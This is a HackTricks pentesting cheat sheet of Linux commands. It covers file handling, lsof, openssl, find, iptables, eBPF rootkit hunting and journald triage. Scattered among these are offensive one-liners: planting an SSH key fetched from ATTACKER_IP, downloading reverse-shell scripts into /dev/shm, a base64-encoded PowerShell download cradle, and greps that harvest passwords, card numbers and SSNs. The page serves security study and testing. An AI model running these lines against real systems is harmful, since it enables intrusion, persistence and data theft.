useful-linux-commands.md (16056B)
1 --- 2 title: "Useful Linux Commands" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/linux-basics/useful-linux-commands.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/linux-basics/useful-linux-commands.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Useful Linux Commands 14 15 ## Common Bash 16 17 ```bash 18 #Exfiltration using Base64 19 base64 -w 0 file 20 21 #Get HexDump without new lines 22 xxd -p boot12.bin | tr -d '\n' 23 24 #Add public key to authorized keys 25 curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys 26 27 #Echo without new line and Hex 28 echo -n -e 29 30 #Count 31 wc -l <file> #Lines 32 wc -c #Chars 33 34 #Sort 35 sort -nr #Sort by number and then reverse 36 cat file | sort | uniq #Sort and delete duplicates 37 38 #Replace in file 39 sed -i 's/OLD/NEW/g' path/file #Replace string inside a file 40 41 #Download in RAM 42 wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py 43 wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm 44 curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py 45 46 #Files used by network processes 47 lsof #Open files belonging to any process 48 lsof -p 3 #Open files used by the process 49 lsof -i #Files used by networks processes 50 lsof -i 4 #Files used by network IPv4 processes 51 lsof -i 6 #Files used by network IPv6 processes 52 lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234 53 lsof +D /lib #Processes using files inside the indicated dir 54 lsof -i :80 #Files uses by networks processes 55 fuser -nv tcp 80 56 57 #FD/proc quick triage 58 ls -l /proc/<PID>/fd #Per-process file descriptors 59 readlink /proc/<PID>/fd/<FD> #Resolve exact FD target 60 cat /proc/<PID>/fd/<FD> #Read via already-open FD (permissions permitting) 61 grep " /proc " /proc/mounts #Check proc mount options (hidepid=1/2 hardens cross-user visibility) 62 find /proc/[0-9]*/fd -lname '*deleted*' 2>/dev/null #Deleted files still open by running processes 63 lsof +L1 #Another way to find deleted-but-open files 64 65 #Decompress 66 tar -xvzf /path/to/yourfile.tgz 67 tar -xvjf /path/to/yourfile.tbz 68 bzip2 -d /path/to/yourfile.bz2 69 tar jxf file.tar.bz2 70 gunzip /path/to/yourfile.gz 71 unzip file.zip 72 7z -x file.7z 73 sudo apt-get install xz-utils; unxz file.xz 74 75 #Add new user 76 useradd -p 'openssl passwd -1 <Password>' hacker 77 78 #Clipboard 79 xclip -sel c < cat file.txt 80 81 #HTTP servers 82 python -m SimpleHTTPServer 80 83 python3 -m http.server 84 ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start" 85 php -S $ip:80 86 87 #Curl 88 #json data 89 curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint 90 #Auth via JWT 91 curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint 92 93 #Send Email 94 sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content 95 96 #DD copy hex bin file without first X (28) bytes 97 dd if=file.bin bs=28 skip=1 of=blob 98 99 #Mount .vhd files (virtual hard drive) 100 sudo apt-get install libguestfs-tools 101 guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd 102 103 # ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys 104 ssh-keyscan 10.10.10.101 105 106 # Openssl 107 openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server 108 openssl x509 -in ca.cert.pem -text #Read certificate 109 openssl genrsa -out newuser.key 2048 #Create new RSA2048 key 110 openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb) 111 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate 112 openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate 113 openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox) 114 # If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using: 115 openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12 116 # Decrypt ssh key 117 openssl rsa -in key.ssh.enc -out key.ssh 118 #Decrypt 119 openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz 120 121 #Count number of instructions executed by a program, need a host based linux (not working in VM) 122 perf stat -x, -e instructions:u "ls" 123 124 #Find trick for HTB, find files from 2018-12-12 to 2018-12-14 125 find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null 126 127 #Reconfigure timezone 128 sudo dpkg-reconfigure tzdata 129 130 #Search from which package is a binary 131 apt-file search /usr/bin/file #Needed: apt-get install apt-file 132 133 #Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html 134 echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw 135 136 #Set not removable bit 137 sudo chattr +i file.txt 138 sudo chattr -i file.txt #Remove the bit so you can delete it 139 140 # List files inside zip 141 7z l file.zip 142 ``` 143 144 ## Bash for Windows 145 146 ```bash 147 #Base64 for Windows 148 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 149 150 #Exe compression 151 upx -9 nc.exe 152 153 #Exe2bat 154 wine exe2bat.exe nc.exe nc.txt 155 156 #Compile Windows python exploit to exe 157 pip install pyinstaller 158 wget -O exploit.py http://www.exploit-db.com/download/31853 159 python pyinstaller.py --onefile exploit.py 160 161 #Compile for windows 162 #sudo apt-get install gcc-mingw-w64-i686 163 i686-mingw32msvc-gcc -o executable useradd.c 164 ``` 165 166 ## Greps 167 168 ```bash 169 #Extract emails from file 170 grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt 171 172 #Extract valid IP addresses 173 grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt 174 175 #Extract passwords 176 grep -i "pwd\|passw" file.txt 177 178 #Extract users 179 grep -i "user\|invalid\|authentication\|login" file.txt 180 181 # Extract hashes 182 #Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128}) 183 egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt 184 #Extract valid MySQL-Old hashes 185 grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt 186 #Extract blowfish hashes 187 grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt 188 #Extract Joomla hashes 189 egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt 190 #Extract VBulletin hashes 191 egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt 192 #Extraxt phpBB3-MD5 193 egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt 194 #Extract Wordpress-MD5 195 egrep -o '$P$S{31}' *.txt > wordpress-md5.txt 196 #Extract Drupal 7 197 egrep -o '$S$S{52}' *.txt > drupal-7.txt 198 #Extract old Unix-md5 199 egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt 200 #Extract md5-apr1 201 egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt 202 #Extract sha512crypt, SHA512(Unix) 203 egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt 204 205 #Extract e-mails from text files 206 grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt 207 208 #Extract HTTP URLs from text files 209 grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt 210 #For extracting HTTPS, FTP and other URL format use 211 grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt 212 #Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex" 213 214 #Extract Floating point numbers 215 grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt 216 217 # Extract credit card data 218 #Visa 219 grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt 220 #MasterCard 221 grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt 222 #American Express 223 grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt 224 #Diners Club 225 grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt 226 #Discover 227 grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt 228 #JCB 229 grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt 230 #AMEX 231 grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt 232 233 # Extract IDs 234 #Extract Social Security Number (SSN) 235 grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt 236 #Extract Indiana Driver License Number 237 grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt 238 #Extract US Passport Cards 239 grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt 240 #Extract US Passport Number 241 grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt 242 #Extract US Phone Numberss 243 grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt 244 #Extract ISBN Numbers 245 egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt 246 ``` 247 248 ## Find 249 250 ```bash 251 # Find SUID set files. 252 find / -perm /u=s -ls 2>/dev/null 253 254 # Find SGID set files. 255 find / -perm /g=s -ls 2>/dev/null 256 257 # Found Readable directory and sort by time. (depth = 4) 258 find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r 259 260 # Found Writable directory and sort by time. (depth = 10) 261 find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r 262 263 # Or Found Own by Current User and sort by time. (depth = 10) 264 find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r 265 266 # Or Found Own by Current Group ID and Sort by time. (depth = 10) 267 find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r 268 269 # Found Newer files and sort by time. (depth = 5) 270 find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less 271 272 # Found Newer files only and sort by time. (depth = 5) 273 find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less 274 275 # Found Newer directory only and sort by time. (depth = 5) 276 find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less 277 ``` 278 279 ## Nmap search help 280 281 ```bash 282 #Nmap scripts ((default or version) and smb)) 283 nmap --script-help "(default or version) and *smb*" 284 locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb 285 nmap --script-help "(default or version) and smb)" 286 ``` 287 288 ## Bash 289 290 ```bash 291 #All bytes inside a file (except 0x20 and 0x00) 292 for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done 293 ``` 294 295 ## Iptables 296 297 ```bash 298 #Delete curent rules and chains 299 iptables --flush 300 iptables --delete-chain 301 302 #allow loopback 303 iptables -A INPUT -i lo -j ACCEPT 304 iptables -A OUTPUT -o lo -j ACCEPT 305 306 #drop ICMP 307 iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP 308 iptables -A OUTPUT -p icmp -j DROP 309 310 #allow established connections 311 iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 312 313 #allow ssh, http, https, dns 314 iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT 315 iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT 316 iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT 317 iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT 318 iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT 319 iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT 320 iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT 321 322 #default policies 323 iptables -P INPUT DROP 324 iptables -P FORWARD ACCEPT 325 iptables -P OUTPUT ACCEPT 326 ``` 327 328 ## eBPF Telemetry & Rootkit Hunting 329 330 Rootkit research has demonstrated both eBPF-based implants such as TripleCross and BPF-based backdoors such as BPFDoor variants. Treat unexpected BPF programs, attachments, or maps as investigation leads rather than proof of compromise.<sup>[[3]](#references)[[4]](#references)</sup> Baseline authorized systems with `bpftool` or `eBPFmon`: `bpftool` can enumerate programs and maps, dump program instructions, and query supported features, while eBPFmon presents that information in a TUI.<sup>[[1]](#references)[[5]](#references)[[6]](#references)</sup> 331 332 ```bash 333 #Enumerate all eBPF programs, attach points, owning PIDs and map IDs 334 sudo bpftool prog 335 336 #Inspect suspicious bytecode + helper calls (replace 835 with the target program id) 337 sudo bpftool prog dump xlated id 835 | less 338 339 #List and dump program maps to reveal covert sockets/credentials (replace 104 accordingly) 340 sudo bpftool map show id 104 341 sudo bpftool map dump id 104 | hexdump -C 342 343 #Verify kernel feature support before loading/patching custom probes 344 sudo bpftool feature probe | less 345 346 #TUI wrapper that tracks program/map diffs in real time (wraps bpftool perf/net output) 347 sudo ebpfmon 348 ``` 349 350 Correlate the `bpftool` output with expected NIC/cgroup attachments; a sudden `xdp` or `kprobe` program owned by an unapproved PID is an investigation lead, not conclusive proof of an injected payload.<sup>[[5]](#references)[[6]](#references)</sup> 351 352 ## Journald Incident Triage 353 354 `journalctl` reads structured entries from `systemd-journald` and supports filtering by boot, priority, unit, UID, and relative time. Combine those filters with JSON output when you need to preserve or compare evidence; filtering alone does not prove that logs were not tampered with.<sup>[[2]](#references)[[7]](#references)</sup> 355 356 ```bash 357 journalctl --list-boots #Enumerate boot IDs with timestamps 358 journalctl -b -1 -p err -o short-iso #Previous boot only, severity >= err 359 journalctl -u nginx.service --since="2025-06-01 01:00" --until="2025-06-01 02:00" 360 journalctl -u ssh.service -f | grep "Failed password" #Live brute-force monitoring 361 journalctl _UID=0 --output=json-pretty --since "1 hour ago" 362 journalctl --disk-usage #Quickly show journal size 363 sudo journalctl --vacuum-size=1G --vacuum-time=7days #Trim only after taking evidence 364 journalctl --no-pager --since="2025-06-01" --until="2025-06-10" > system_logs_2025-06-01_to_06-10.log 365 ``` 366 367 Add `--grep 'Invalid user' --case-sensitive` or `-k` (kernel messages only) when you need tighter filters, and remember `_PID`, `_SYSTEMD_UNIT`, `_HOSTNAME`, and `_TRANSPORT` selectors can be combined for targeted hunts.<sup>[[7]](#references)</sup> 368 369 ## References 370 371 - [1] [eBPFmon: A new tool for exploring and interacting with eBPF applications](https://redcanary.com/blog/linux-security/ebpfmon/) 372 - [2] [How to use the journalctl command to view Linux logs](https://www.hostinger.com/tutorials/journalctl-command) 373 - [3] [h3xduck/TripleCross](https://github.com/h3xduck/TripleCross) 374 - [4] [Rapid7 Labs: BPFdoor in Telecom Networks](https://www.rapid7.com/blog/post/tr-bpfdoor-telecom-networks-sleeper-cells-threat-research-report/) 375 - [5] [BPF Documentation — The Linux Kernel documentation](https://docs.kernel.org/bpf/) 376 - [6] [libbpf/bpftool](https://github.com/libbpf/bpftool) 377 - [7] [journalctl(1) — Linux manual page](https://man7.org/linux/man-pages/man1/journalctl.1.html)